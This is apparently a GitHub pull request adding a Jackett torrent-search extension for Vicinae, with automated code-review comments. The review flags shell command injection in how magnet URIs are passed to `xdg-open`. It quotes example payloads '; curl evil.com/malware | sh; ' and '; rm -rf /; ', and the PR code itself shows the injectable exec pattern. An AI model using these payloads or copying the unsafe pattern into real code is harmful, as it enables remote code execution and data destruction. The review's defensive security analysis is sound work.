Skip to content

feat(jackett-search): add torrent search extension with Jackett API i…#115

Open
Tinkerbells wants to merge 1 commit intovicinaehq:mainfrom
Tinkerbells:main
Open

feat(jackett-search): add torrent search extension with Jackett API i…#115
Tinkerbells wants to merge 1 commit intovicinaehq:mainfrom
Tinkerbells:main

Conversation

@Tinkerbells
Copy link
Contributor

@Tinkerbells Tinkerbells commented Jan 6, 2026

Add new extension jackett-search that allows users to search torrents across multiple trackers directly from Vicinae using the Jackett API.
Features

  • 🔍 Search torrents using Jackett API with advanced filtering
  • 🎯 Sort results by seeders, peers, size, or date
  • 📋 Filter by categories and specific trackers from preferences
  • 📖 Detailed torrent view with comprehensive information
  • 🧲 One-click magnet link opening and copying
  • 📥 Download torrent files directly

Summary by CodeRabbit

Release Notes

  • New Features

    • Introduced Jackett Search extension enabling users to search torrents with configurable API credentials and tracker preferences.
    • Added torrent search with sorting (seeders, peers, size, date), filtering, and customizable default actions (magnet or torrent download).
    • Integrated torrent detail view with support for opening magnet links and downloading files.
  • Documentation

    • Added comprehensive README covering setup, configuration, and usage instructions.

✏️ Tip: You can customize this high-level summary in your review settings.

…ntegration

- Add detailed torrent view with navigation to separate window
- Implement advanced filtering and sorting (seeders, peers, size, date)
- Add tracker selection from preferences
- Extract business logic into custom hooks (useJackettSearch, useDebounce)
- Add memoization for performance optimization
- Generate markdown content in utils
- Remove unused utils.ts file
- Add comprehensive README with Docker Compose quick start
@coderabbitai
Copy link
Contributor

coderabbitai bot commented Jan 6, 2026

📝 Walkthrough

Walkthrough

Introduces the Jackett Search extension with configuration, TypeScript types, utility functions for API communication, React hooks for state management and search logic, and UI components for querying and displaying torrent metadata from Jackett servers.

Changes

Cohort / File(s) Summary
Project Configuration
extensions/jackett-search/.gitignore, extensions/jackett-search/package.json, extensions/jackett-search/tsconfig.json, extensions/jackett-search/README.md
Establishes project scaffolding with standard Git ignore rules, manifest defining search command and preferences (Jackett URL, API key, trackers, sort/action options), TypeScript config (ES2022 target, strict mode), and comprehensive documentation covering setup, usage, development, and troubleshooting.
Type Definitions
extensions/jackett-search/src/types/preferences.ts, extensions/jackett-search/src/types/torrent.ts
Defines TypeScript interfaces for JackettTorrent metadata, JackettResponse API structure, PreferenceValues (configuration keys), and SearchParams for API calls.
Utilities & Helpers
extensions/jackett-search/src/utils/jackett.ts
Implements searchTorrents for API queries, formatBytes/formatDate for display, formatTrackers for preference handling, sortTorrents/filterTorrents for result processing, and generateTorrentMarkdown for detail rendering.
State Management Hooks
extensions/jackett-search/src/hooks/useDebounce.ts, extensions/jackett-search/src/hooks/useJackettSearch.ts
Provides useDebounce for input debouncing and useJackettSearch for encapsulating search state (query, torrents, loading/error), sorting/filtering logic, and actions (magnet link opening, detail display, default action handling).
UI Components
extensions/jackett-search/src/search.tsx, extensions/jackett-search/src/torrent-detail.tsx
Delivers JackettSearch component with debounced search bar, sort dropdown, torrent list rendering, and action menu; TorrentDetail component displays torrent metadata and provides magnet/torrent download actions.

Sequence Diagram

sequenceDiagram
    participant User
    participant JackettSearch as Search Component
    participant useDebounce as Debounce Hook
    participant useJackettSearch as Search Hook
    participant API as Jackett API
    participant UI as Result Display

    User->>JackettSearch: Type search query
    JackettSearch->>useDebounce: Set query value
    Note over useDebounce: Wait 500ms for user<br/>to stop typing
    useDebounce->>useJackettSearch: Trigger performSearch<br/>(debounced query)
    
    rect rgb(220, 240, 255)
    Note over useJackettSearch: Validate config &<br/>prepare search
    useJackettSearch->>API: Fetch torrents<br/>(query, trackers, seeders)
    API-->>useJackettSearch: JackettResponse
    end
    
    rect rgb(240, 220, 255)
    Note over useJackettSearch: Process results
    useJackettSearch->>useJackettSearch: Filter by min seeders
    useJackettSearch->>useJackettSearch: Sort by selected<br/>criteria (seeders/peers/size/date)
    useJackettSearch->>useJackettSearch: Update state<br/>(torrents, loading, error)
    end
    
    useJackettSearch->>JackettSearch: Return processed<br/>torrents + state
    JackettSearch->>UI: Render torrent list<br/>with metadata & actions
    
    User->>UI: Click torrent action<br/>(details/magnet/download)
    UI->>useJackettSearch: Handle action<br/>(show detail/open magnet)
    useJackettSearch-->>User: Navigate or<br/>system action
Loading

Estimated code review effort

🎯 4 (Complex) | ⏱️ ~50 minutes

Poem

🐰 A warren of torrents, now searchable and bright,
With Jackett as guide, we fetch them just right!
Debounce, sort, and filter—the data flows clean,
From query to magnet, the finest we've seen. ✨

Pre-merge checks and finishing touches

❌ Failed checks (1 warning)
Check name Status Explanation Resolution
Docstring Coverage ⚠️ Warning Docstring coverage is 0.00% which is insufficient. The required threshold is 80.00%. You can run @coderabbitai generate docstrings to improve docstring coverage.
✅ Passed checks (2 passed)
Check name Status Explanation
Description Check ✅ Passed Check skipped - CodeRabbit’s high-level summary is enabled.
Title check ✅ Passed The title clearly summarizes the main addition: a torrent search extension integrating Jackett API. It accurately reflects the primary change across all modified files.
✨ Finishing touches
  • 📝 Generate docstrings

Comment @coderabbitai help to get the list of available commands and usage tips.

Copy link
Contributor

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 11

🤖 Fix all issues with AI Agents
In @extensions/jackett-search/package.json:
- Line 14: The package.json currently references the icon as
"extension_icon.png" in the "icon" property; update the "icon" value to
"assets/extension_icon.png" so the file path matches the actual location (change
the "icon" field in package.json accordingly).
- Around line 72-78: Add the missing TypeScript React types by adding
"@types/react" to the package.json devDependencies (so TypeScript can typecheck
React usage in search.tsx and torrent-detail.tsx); add an appropriate version
(e.g. matching your React major, such as "^18.0.0") under "devDependencies"
alongside "@types/node" and "typescript" and then run npm/yarn install to update
lockfile.

In @extensions/jackett-search/README.md:
- Around line 21-29: README documents preferences ("Sort By", "Minimum Seeders",
"Categories") that are not present in the extension manifest; update the
manifest (package.json preferences array) to include these missing preferences
with matching keys and default values or, alternatively, edit README.md to
clearly mark those three options as planned/future features and only list the
actual manifest preferences ("Jackett URL", "API Key", "Trackers", "Default
Action"); ensure preference names and default values in README exactly match the
names/values in package.json if you choose to add them.

In @extensions/jackett-search/src/hooks/useJackettSearch.ts:
- Line 92: The effect/callback that calls formatTrackers(trackers) is missing
the trackers variable in its dependency array, causing stale tracker prefs to be
used; update the dependency array for the hook (the array currently containing
jackettUrl, apiKey, preferences.categories, currentSortBy, minSeeders) to also
include trackers so formatTrackers(trackers) and any logic inside
useJackettSearch (or the specific useEffect/useCallback that references
formatTrackers) re-run when trackers changes.
- Around line 94-107: openMagnetLink currently builds a shell string with
execAsync and inserts the untrusted magnetUri directly, allowing command
injection; change the implementation to call a non-shell variant (e.g.,
spawn/execFile or a library that accepts argument arrays) so the program is
launched with the magnet URI as a single argument rather than interpolated into
a shell command, and remove use of execAsync for this path; specifically update
the openMagnetLink function to invoke xdg-open (or the platform-appropriate
opener) using child_process.spawn/execFile with ["xdg-open", magnetUri] style
arguments (or an equivalent safe opener API), validate that magnetUri starts
with the expected "magnet:" scheme before calling, and adjust error handling to
surface errors from the safe call instead of relying on a shell command string.

In @extensions/jackett-search/src/search.tsx:
- Around line 125-129: The Action button labeled "Open Magnet" is misleading
because it calls handleDefaultAction(torrent) which respects the user preference
'default-action' and may download a .torrent; either change the Action title to
indicate it's the default action (e.g., "Default Action" or "Open (default)") or
replace the onAction call to explicitly call openMagnetLink(torrent) if
magnet-only behavior is intended; update the Action with Icon.ArrowUpCircle and
ensure any tooltip/aria-labels match the new behavior so UI and
handleDefaultAction/openMagnetLink remain consistent.
- Around line 32-36: The effect in search.tsx is re-triggering API calls because
performSearch (from useJackettSearch) captures currentSortBy so its identity
changes when sort changes; to fix, make performSearch stable by removing
currentSortBy from its closure/deps (adjust useJackettSearch.ts to fetch raw
results without sorting) and implement client-side sorting separately (either
sort the results inside the hook via a separate sortResults method or perform
sorting in the component after debouncedQuery triggers performSearch), then
update the useEffect in search.tsx to only depend on debouncedQuery and the
stable performSearch so changing currentSortBy only re-sorts existing results
without re-fetching.

In @extensions/jackett-search/src/torrent-detail.tsx:
- Around line 27-32: The current code uses child_process.execAsync with a shell
command `xdg-open "${torrent.MagnetUri}"`, which is vulnerable to command
injection and Linux-only; replace this by calling a non-shell API (e.g., the
cross-platform `open` npm package) or a platform-specific non-shell launcher so
the magnet URI is passed as an argument rather than interpolated into a shell
command, and remove the child_process/execAsync usage; additionally, stop
duplicating logic by accepting or calling the existing openMagnetLink function
from useJackettSearch (pass it as a prop or import the hook) instead of
reimplementing it here, and add validation to ensure torrent.MagnetUri is a
valid magnet: URI before invoking the opener.

In @extensions/jackett-search/src/types/preferences.ts:
- Around line 1-9: There are two conflicting PreferenceValues interfaces; remove
the duplicate definition in extensions/jackett-search/src/types/torrent.ts (the
one with fewer fields) and ensure all usages/imports of PreferenceValues
reference the single canonical interface exported from types/preferences.ts; if
any module currently imports from torrent.ts, update those imports to point to
types/preferences.ts (or re-export PreferenceValues from torrent.ts after
deletion) so consumers consistently get the complete type including 'sort-by'
and 'default-action'.

In @extensions/jackett-search/src/types/torrent.ts:
- Around line 32-38: Remove the duplicate PreferenceValues interface declaration
from this file (the exported interface named PreferenceValues) and update any
local imports that referenced it to import the canonical type from the existing
preferences.ts (e.g., import { PreferenceValues } from './preferences' or
'./types/preferences' as appropriate); ensure the canonical type includes
'sort-by' and 'default-action' so consumers get correct typings and run the
project type-check after changing imports.
🧹 Nitpick comments (5)
extensions/jackett-search/README.md (1)

37-52: Consider adding customization notes for the Docker Compose configuration.

While the configuration provides a good quick start, users may need to customize:

  • PUID/PGID (line 43-44) to match their user/group IDs
  • TZ (line 45) for their timezone
  • Using a pinned version tag instead of :latest for reproducibility

These could be mentioned in the Steps section or as a note.

extensions/jackett-search/tsconfig.json (1)

3-6: Update JSX transform to match project conventions.

The jsx: "react" setting uses the classic JSX transform, but virtually all other extensions in this repository use jsx: "react-jsx" (the automatic runtime). Since the extension explicitly imports React in both JSX files, switching to "react-jsx" would be consistent with the broader codebase and eliminate the unnecessary React imports.

No changes needed for the module: "commonjs" or target: "ES2022" settings—these align with project standards.

extensions/jackett-search/src/utils/jackett.ts (3)

26-38: Consider adding a timeout to the fetch request.

If the Jackett server is slow or unresponsive, fetch will hang indefinitely, leaving the UI in a loading state. Consider using AbortController with a timeout.

🔎 Suggested implementation
+ const controller = new AbortController();
+ const timeoutId = setTimeout(() => controller.abort(), 30000);
+
  try {
-   const response = await fetch(apiUrl);
+   const response = await fetch(apiUrl, { signal: controller.signal });
+   clearTimeout(timeoutId);

    if (!response.ok) {
      throw new Error(`HTTP error! status: ${response.status}`);
    }

41-49: Edge case: negative bytes will produce unexpected output.

Math.log(negative) returns NaN, causing sizes[NaN] to be undefined. While the Jackett API shouldn't return negative sizes, defensive handling would prevent potential UI glitches.

🔎 Suggested fix
 export function formatBytes(bytes: number): string {
-  if (bytes === 0) return '0 B';
+  if (bytes <= 0) return '0 B';

51-58: formatDate doesn't catch invalid date strings.

new Date("invalid") doesn't throw; it returns an Invalid Date object. toLocaleDateString() then returns "Invalid Date" string. The catch block won't trigger.

🔎 Suggested fix
 export function formatDate(dateString: string): string {
-  try {
-    const date = new Date(dateString);
-    return date.toLocaleDateString();
-  } catch {
-    return dateString;
-  }
+  const date = new Date(dateString);
+  return isNaN(date.getTime()) ? dateString : date.toLocaleDateString();
 }
📜 Review details

Configuration used: defaults

Review profile: CHILL

Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between e01fe27 and 1335566.

⛔ Files ignored due to path filters (2)
  • extensions/jackett-search/assets/extension_icon.png is excluded by !**/*.png
  • extensions/jackett-search/package-lock.json is excluded by !**/package-lock.json
📒 Files selected for processing (11)
  • extensions/jackett-search/.gitignore
  • extensions/jackett-search/README.md
  • extensions/jackett-search/package.json
  • extensions/jackett-search/src/hooks/useDebounce.ts
  • extensions/jackett-search/src/hooks/useJackettSearch.ts
  • extensions/jackett-search/src/search.tsx
  • extensions/jackett-search/src/torrent-detail.tsx
  • extensions/jackett-search/src/types/preferences.ts
  • extensions/jackett-search/src/types/torrent.ts
  • extensions/jackett-search/src/utils/jackett.ts
  • extensions/jackett-search/tsconfig.json
🧰 Additional context used
🧬 Code graph analysis (6)
extensions/jackett-search/src/types/preferences.ts (1)
extensions/jackett-search/src/types/torrent.ts (1)
  • PreferenceValues (32-38)
extensions/jackett-search/src/torrent-detail.tsx (2)
extensions/jackett-search/src/types/torrent.ts (1)
  • JackettTorrent (1-26)
extensions/jackett-search/src/utils/jackett.ts (3)
  • generateTorrentMarkdown (85-101)
  • formatBytes (41-49)
  • formatDate (51-58)
extensions/jackett-search/src/types/torrent.ts (1)
extensions/jackett-search/src/types/preferences.ts (1)
  • PreferenceValues (1-9)
extensions/jackett-search/src/hooks/useJackettSearch.ts (3)
extensions/jackett-search/src/types/preferences.ts (1)
  • PreferenceValues (1-9)
extensions/jackett-search/src/types/torrent.ts (2)
  • PreferenceValues (32-38)
  • JackettTorrent (1-26)
extensions/jackett-search/src/utils/jackett.ts (4)
  • searchTorrents (3-39)
  • formatTrackers (60-62)
  • filterTorrents (81-83)
  • sortTorrents (64-79)
extensions/jackett-search/src/search.tsx (5)
extensions/jackett-search/src/types/preferences.ts (1)
  • PreferenceValues (1-9)
extensions/jackett-search/src/types/torrent.ts (1)
  • PreferenceValues (32-38)
extensions/jackett-search/src/hooks/useJackettSearch.ts (1)
  • useJackettSearch (16-160)
extensions/jackett-search/src/hooks/useDebounce.ts (1)
  • useDebounce (3-17)
extensions/jackett-search/src/utils/jackett.ts (1)
  • formatBytes (41-49)
extensions/jackett-search/src/utils/jackett.ts (1)
extensions/jackett-search/src/types/torrent.ts (3)
  • SearchParams (40-46)
  • JackettTorrent (1-26)
  • JackettResponse (28-30)
🔇 Additional comments (15)
extensions/jackett-search/.gitignore (1)

1-4: LGTM!

The .gitignore patterns are appropriate for this TypeScript extension, covering dependencies, build artifacts, logs, and OS-specific files.

extensions/jackett-search/tsconfig.json (1)

7-14: LGTM!

The strict type-checking and module resolution settings are well-configured. The output directory aligns with the .gitignore patterns.

extensions/jackett-search/README.md (3)

64-82: LGTM!

The usage instructions are comprehensive, well-structured, and include helpful keyboard shortcuts. The documented workflow aligns with the extension's features.


84-93: LGTM!

The development instructions are clear and align with the scripts defined in package.json.


95-101: LGTM!

The troubleshooting section covers common issues users might encounter with helpful, actionable solutions.

extensions/jackett-search/package.json (3)

16-23: LGTM!

The command definition is well-structured and aligns with the README documentation.


24-66: LGTM with a note on documented features.

The preference definitions are well-structured with appropriate types, validation, and defaults. Note that the README documents additional preferences (Sort By, Minimum Seeders, Categories) that are not present here - this discrepancy was flagged in the README review.


67-71: LGTM!

The scripts are appropriately configured using the Vicinae CLI tooling.

extensions/jackett-search/src/hooks/useDebounce.ts (1)

1-17: LGTM!

The debounce hook implementation is correct and follows React best practices:

  • Properly manages state and effects
  • Includes cleanup to prevent memory leaks
  • Uses correct dependency array
  • Generic type provides flexibility
extensions/jackett-search/src/torrent-detail.tsx (1)

45-147: Well-structured detail view with proper conditional rendering.

The component correctly handles optional fields (MagnetUri, Link, Details) and provides appropriate fallbacks. The useMemo for markdown generation is appropriate.

extensions/jackett-search/src/search.tsx (1)

88-164: List rendering and empty states are well-implemented.

Good use of composite keys, accessories for metadata display, and comprehensive empty/error state handling.

extensions/jackett-search/src/types/torrent.ts (1)

1-30: Type definitions for Jackett API responses look correct.

JackettTorrent, JackettResponse, and SearchParams interfaces appropriately model the Jackett API schema with optional fields for Link and MagnetUri.

Also applies to: 40-46

extensions/jackett-search/src/hooks/useJackettSearch.ts (1)

16-27: Hook setup and state management look good.

Proper use of useState for state, destructuring preferences, and parsing minSeeders with a fallback.

extensions/jackett-search/src/utils/jackett.ts (2)

64-83: Sorting and filtering utilities are correctly implemented.

sortTorrents properly clones the array before sorting to avoid mutating the input, and handles all specified sort options. filterTorrents is straightforward and correct.


85-101: Markdown generation is clean and handles optional fields well.

Properly checks for existence and non-empty arrays before adding sections.

"author": "tinkerbells",
"contributors": [],
"pastContributors": [],
"icon": "extension_icon.png",
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
# Find the icon file and check paths
echo "=== Searching for icon files in jackett-search extension ==="
find extensions/jackett-search/ -type f -name '*icon*' 2>/dev/null

echo -e "\n=== Checking package.json icon reference ==="
grep -n "icon" extensions/jackett-search/package.json

echo -e "\n=== Checking README for icon path references ==="
if [ -f "extensions/jackett-search/README.md" ]; then
  grep -n "icon\|assets" extensions/jackett-search/README.md
fi

echo -e "\n=== Listing all files in extension directory ==="
ls -la extensions/jackett-search/

Repository: vicinaehq/extensions

Length of output: 989


Update the icon path in package.json.

The icon file is located at assets/extension_icon.png, but package.json references it as extension_icon.png. Change line 14 to:

  "icon": "assets/extension_icon.png",
🤖 Prompt for AI Agents
In @extensions/jackett-search/package.json at line 14, The package.json
currently references the icon as "extension_icon.png" in the "icon" property;
update the "icon" value to "assets/extension_icon.png" so the file path matches
the actual location (change the "icon" field in package.json accordingly).

Comment on lines +72 to +78
"dependencies": {
"@vicinae/api": "^0.16.0"
},
"devDependencies": {
"@types/node": "^22.0.0",
"typescript": "^5.9.2"
}
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🔴 Critical

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
# Check if other extensions include @types/react in devDependencies
echo "=== Extensions using @types/react ==="
fd -t f '^package\.json$' extensions/ -x jq -r 'select(.devDependencies["@types/react"]) | .name' {} \;

echo ""
echo "=== React imports in jackett-search ==="
# Check for React imports in this extension
rg -t typescript -t typescriptreact "import.*from ['\"]react['\"]" extensions/jackett-search/src/ 2>/dev/null || echo "No React imports found"

echo ""
echo "=== JSX/TSX files in jackett-search ==="
# List JSX/TSX files to understand the structure
fd -e jsx -e tsx . extensions/jackett-search/src/ 2>/dev/null || echo "No JSX/TSX files found"

Repository: vicinaehq/extensions

Length of output: 386


🏁 Script executed:

#!/bin/bash
# Check the actual TSX files for React imports and JSX usage
echo "=== search.tsx content ==="
cat -n extensions/jackett-search/src/search.tsx

echo ""
echo "=== torrent-detail.tsx content ==="
cat -n extensions/jackett-search/src/torrent-detail.tsx

echo ""
echo "=== tsconfig.json jsx setting ==="
jq '.compilerOptions.jsx' extensions/jackett-search/tsconfig.json

Repository: vicinaehq/extensions

Length of output: 11665


Add missing @types/react to devDependencies.

The code imports and uses React directly in both search.tsx (line 1) and torrent-detail.tsx (line 1), using React hooks and JSX syntax with jsx: "react" in tsconfig. However, @types/react is not declared in devDependencies, while other extensions in the repository include it as standard practice. This will cause TypeScript type checking failures.

Add @types/react to devDependencies in package.json.

🤖 Prompt for AI Agents
In @extensions/jackett-search/package.json around lines 72 - 78, Add the missing
TypeScript React types by adding "@types/react" to the package.json
devDependencies (so TypeScript can typecheck React usage in search.tsx and
torrent-detail.tsx); add an appropriate version (e.g. matching your React major,
such as "^18.0.0") under "devDependencies" alongside "@types/node" and
"typescript" and then run npm/yarn install to update lockfile.

Comment on lines +21 to +29
## Preferences

- **Jackett URL** – Full URL to your Jackett server (defaults to `http://127.0.0.1:9117`).
- **API Key** – Jackett API key for authentication.
- **Sort By** – Default sort order for search results: `Seeders`, `Peers`, `Size`, or `Date`.
- **Minimum Seeders** – Only show torrents with at least this many seeders (defaults to `0`).
- **Categories** – Filter by categories (comma-separated, e.g., `2000,3000` for Movies and Audio).
- **Trackers** – List of tracker names to search (comma-separated). Leave as "all" to search all configured trackers.
- **Default Action** – Action to perform when selecting a torrent: `Open Magnet Link` or `Download Torrent File`.
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major

Document preferences match the manifest or note they are planned features.

The README documents preferences like "Sort By", "Minimum Seeders", and "Categories" that do not appear in package.json. Only "Jackett URL", "API Key", "Trackers", and "Default Action" are defined in the manifest.

Either add these missing preferences to package.json or clarify in the README if they are planned features.

#!/bin/bash
# Description: Compare documented preferences with manifest preferences

echo "=== Preferences in package.json ==="
cat extensions/jackett-search/package.json | jq -r '.preferences[].name'

echo ""
echo "=== Preferences documented in README ==="
grep -A1 "^\*\*.*\*\* –" extensions/jackett-search/README.md | grep -o "^\*\*[^*]*\*\*" | sed 's/\*\*//g'
🤖 Prompt for AI Agents
In @extensions/jackett-search/README.md around lines 21 - 29, README documents
preferences ("Sort By", "Minimum Seeders", "Categories") that are not present in
the extension manifest; update the manifest (package.json preferences array) to
include these missing preferences with matching keys and default values or,
alternatively, edit README.md to clearly mark those three options as
planned/future features and only list the actual manifest preferences ("Jackett
URL", "API Key", "Trackers", "Default Action"); ensure preference names and
default values in README exactly match the names/values in package.json if you
choose to add them.

} finally {
setIsLoading(false);
}
}, [jackettUrl, apiKey, preferences.categories, currentSortBy, minSeeders]);
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟡 Minor

Missing trackers in dependency array.

trackers (destructured on line 24) is used in formatTrackers(trackers) on line 62, but isn't listed in the dependency array. If the user changes the trackers preference, the callback will use the stale value.

🔎 Suggested fix
- }, [jackettUrl, apiKey, preferences.categories, currentSortBy, minSeeders]);
+ }, [jackettUrl, apiKey, preferences.categories, currentSortBy, minSeeders, trackers]);
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
}, [jackettUrl, apiKey, preferences.categories, currentSortBy, minSeeders]);
}, [jackettUrl, apiKey, preferences.categories, currentSortBy, minSeeders, trackers]);
🤖 Prompt for AI Agents
In @extensions/jackett-search/src/hooks/useJackettSearch.ts at line 92, The
effect/callback that calls formatTrackers(trackers) is missing the trackers
variable in its dependency array, causing stale tracker prefs to be used; update
the dependency array for the hook (the array currently containing jackettUrl,
apiKey, preferences.categories, currentSortBy, minSeeders) to also include
trackers so formatTrackers(trackers) and any logic inside useJackettSearch (or
the specific useEffect/useCallback that references formatTrackers) re-run when
trackers changes.

Comment on lines +94 to +107
const openMagnetLink = useCallback(async (magnetUri: string) => {
try {
await execAsync(`xdg-open "${magnetUri}"`);
showToast({
title: 'Opening torrent...',
style: Toast.Style.Success,
});
} catch (err) {
showToast({
title: 'Failed to open magnet link',
style: Toast.Style.Failure,
});
}
}, []);
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🔴 Critical

Command injection vulnerability in openMagnetLink.

Line 96 passes magnetUri directly into a shell command string. An attacker-controlled magnet URI like "; curl evil.com/malware | sh; " could execute arbitrary commands.

🔎 Suggested fix using spawn with arguments array
+ import { spawn } from 'child_process';
+
  const openMagnetLink = useCallback(async (magnetUri: string) => {
    try {
-     await execAsync(`xdg-open "${magnetUri}"`);
+     const openCmd = process.platform === 'darwin' ? 'open' 
+                   : process.platform === 'win32' ? 'start' 
+                   : 'xdg-open';
+     spawn(openCmd, [magnetUri], { detached: true, stdio: 'ignore' });
      showToast({
        title: 'Opening torrent...',
        style: Toast.Style.Success,
      });

Committable suggestion skipped: line range outside the PR's diff.

🤖 Prompt for AI Agents
In @extensions/jackett-search/src/hooks/useJackettSearch.ts around lines 94 -
107, openMagnetLink currently builds a shell string with execAsync and inserts
the untrusted magnetUri directly, allowing command injection; change the
implementation to call a non-shell variant (e.g., spawn/execFile or a library
that accepts argument arrays) so the program is launched with the magnet URI as
a single argument rather than interpolated into a shell command, and remove use
of execAsync for this path; specifically update the openMagnetLink function to
invoke xdg-open (or the platform-appropriate opener) using
child_process.spawn/execFile with ["xdg-open", magnetUri] style arguments (or an
equivalent safe opener API), validate that magnetUri starts with the expected
"magnet:" scheme before calling, and adjust error handling to surface errors
from the safe call instead of relying on a shell command string.

Comment on lines +32 to +36
useEffect(() => {
if (debouncedQuery.length >= 3) {
performSearch(debouncedQuery);
}
}, [debouncedQuery, performSearch]);
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major

Changing sort order triggers unnecessary API re-fetch.

performSearch depends on currentSortBy (see useJackettSearch.ts line 92), so when the sort dropdown changes, performSearch's identity changes, triggering this useEffect and re-fetching from the API. Sorting should happen client-side on existing results without a network round-trip.

Consider either:

  1. Moving the sort logic outside performSearch so its identity is stable
  2. Or separating the effect that fetches from the one that sorts
🔎 Suggested fix in useJackettSearch.ts

Remove currentSortBy from performSearch dependencies and apply sorting separately:

  const performSearch = useCallback(async (searchQuery: string) => {
    // ... fetch logic ...
    const filtered = filterTorrents(results, minSeeders);
-   const sorted = sortTorrents(filtered, currentSortBy);
-   setTorrents(sorted);
+   setTorrents(filtered); // Store unfiltered, sort in useMemo
  }, [jackettUrl, apiKey, preferences.categories, minSeeders]);
+ 
+ const sortedTorrents = useMemo(() => 
+   sortTorrents(torrents, currentSortBy), 
+   [torrents, currentSortBy]
+ );

Committable suggestion skipped: line range outside the PR's diff.

🤖 Prompt for AI Agents
In @extensions/jackett-search/src/search.tsx around lines 32 - 36, The effect in
search.tsx is re-triggering API calls because performSearch (from
useJackettSearch) captures currentSortBy so its identity changes when sort
changes; to fix, make performSearch stable by removing currentSortBy from its
closure/deps (adjust useJackettSearch.ts to fetch raw results without sorting)
and implement client-side sorting separately (either sort the results inside the
hook via a separate sortResults method or perform sorting in the component after
debouncedQuery triggers performSearch), then update the useEffect in search.tsx
to only depend on debouncedQuery and the stable performSearch so changing
currentSortBy only re-sorts existing results without re-fetching.

Comment on lines +125 to +129
<Action
title="Open Magnet"
icon={Icon.ArrowUpCircle}
onAction={() => handleDefaultAction(torrent)}
/>
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟡 Minor

Misleading action title: "Open Magnet" may open torrent file instead.

handleDefaultAction respects the default-action preference, which could be 'torrent'. The button labeled "Open Magnet" might actually download a .torrent file, confusing users.

Either rename the action to reflect it's the default action, or call openMagnetLink directly here.

🔎 Suggested fix
                        <Action
-                         title="Open Magnet"
+                         title="Default Action"
                          icon={Icon.ArrowUpCircle}
                          onAction={() => handleDefaultAction(torrent)}
                        />

Or call openMagnetLink directly if magnet-specific behavior is intended.

📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
<Action
title="Open Magnet"
icon={Icon.ArrowUpCircle}
onAction={() => handleDefaultAction(torrent)}
/>
<Action
title="Default Action"
icon={Icon.ArrowUpCircle}
onAction={() => handleDefaultAction(torrent)}
/>
🤖 Prompt for AI Agents
In @extensions/jackett-search/src/search.tsx around lines 125 - 129, The Action
button labeled "Open Magnet" is misleading because it calls
handleDefaultAction(torrent) which respects the user preference 'default-action'
and may download a .torrent; either change the Action title to indicate it's the
default action (e.g., "Default Action" or "Open (default)") or replace the
onAction call to explicitly call openMagnetLink(torrent) if magnet-only behavior
is intended; update the Action with Icon.ArrowUpCircle and ensure any
tooltip/aria-labels match the new behavior so UI and
handleDefaultAction/openMagnetLink remain consistent.

Comment on lines +27 to +32
try {
const { exec } = require('child_process');
const { promisify } = require('util');
const execAsync = promisify(exec);

await execAsync(`xdg-open "${torrent.MagnetUri}"`);
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🔴 Critical

Command injection vulnerability and cross-platform issue.

  1. Security: Interpolating torrent.MagnetUri directly into a shell command is vulnerable to command injection. A malicious magnet URI could contain shell metacharacters (e.g., "; rm -rf /; ").

  2. Platform: xdg-open is Linux-only. Use platform-appropriate commands or a library like open (npm package).

  3. Duplication: This logic duplicates openMagnetLink in useJackettSearch.ts. Consider passing the hook's function as a prop instead.

🔎 Suggested safer approach
-      await execAsync(`xdg-open "${torrent.MagnetUri}"`);
+      // Use spawn with arguments array to avoid shell injection
+      const { spawn } = require('child_process');
+      const openCommand = process.platform === 'darwin' ? 'open' : process.platform === 'win32' ? 'start' : 'xdg-open';
+      spawn(openCommand, [torrent.MagnetUri], { detached: true, stdio: 'ignore' });

Committable suggestion skipped: line range outside the PR's diff.

🤖 Prompt for AI Agents
In @extensions/jackett-search/src/torrent-detail.tsx around lines 27 - 32, The
current code uses child_process.execAsync with a shell command `xdg-open
"${torrent.MagnetUri}"`, which is vulnerable to command injection and
Linux-only; replace this by calling a non-shell API (e.g., the cross-platform
`open` npm package) or a platform-specific non-shell launcher so the magnet URI
is passed as an argument rather than interpolated into a shell command, and
remove the child_process/execAsync usage; additionally, stop duplicating logic
by accepting or calling the existing openMagnetLink function from
useJackettSearch (pass it as a prop or import the hook) instead of
reimplementing it here, and add validation to ensure torrent.MagnetUri is a
valid magnet: URI before invoking the opener.

Comment on lines +1 to +9
export interface PreferenceValues {
'jackett-url': string;
'api-key': string;
'sort-by': 'seeders' | 'size' | 'date';
'min-seeders': string;
'categories': string;
'trackers': string;
'default-action': 'magnet' | 'torrent';
}
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟡 Minor

Duplicate PreferenceValues interface exists in torrent.ts.

There's another PreferenceValues interface in extensions/jackett-search/src/types/torrent.ts (lines 31-37) with fewer fields (missing sort-by and default-action). This creates ambiguity about which definition is canonical and may cause type mismatches depending on which import consumers use. Remove the duplicate from torrent.ts and keep only this complete version.

🤖 Prompt for AI Agents
In @extensions/jackett-search/src/types/preferences.ts around lines 1 - 9, There
